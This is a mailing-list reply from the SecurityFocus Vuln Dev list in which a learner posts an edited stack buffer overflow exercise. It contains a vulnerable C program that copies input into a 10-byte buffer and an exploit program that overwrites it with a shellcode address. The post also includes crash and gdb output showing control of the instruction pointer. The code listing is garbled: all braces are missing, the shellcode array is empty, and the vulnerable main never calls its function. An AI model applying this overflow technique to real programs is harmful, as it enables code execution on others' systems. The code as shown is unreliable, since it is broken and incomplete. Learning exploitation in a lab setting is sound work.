Vuln Dev
Re: Re: understanding buffer overflows Nov 01 2007 11:48PM
ma rebeco at
thank you!

this was a great example but it didnt work on my debian machine. - but it worked better than mine.

i have edited your example as folowed:


#include <stdio.h>

#include <string.h>

int foo (char *input)


char buffer [10];

strcpy(buffer, input);

return (0);


int main (int argc, char * argv[])


if (argc > 1)



printf("usage: %s string", argv[0]);

return 1;



#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

int main()


char shellcode[] =




char buffer[20];

long myaddr=(long)&shellcode;

printf("Addr of Shellcode:%p\n",myaddr);

long bufadr=(long)&buffer[14];

*(long *)bufadr=myaddr;

execlp("./vuln", "vuln", buffer, NULL);

return 0;


and i think the output looks very ok - isnt it?


Addr of Shellcode:0xbfef862a <<-

Speicherzugriffsfehler (core dumped)

and - i think the importent part - from gdb:

edi 0x0 0

eip 0xbfef862a 0xbfef862a <<-

eflags 0x210246 [ PF ZF IF RF ID ]

but no more shell session was loaded. :-(

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus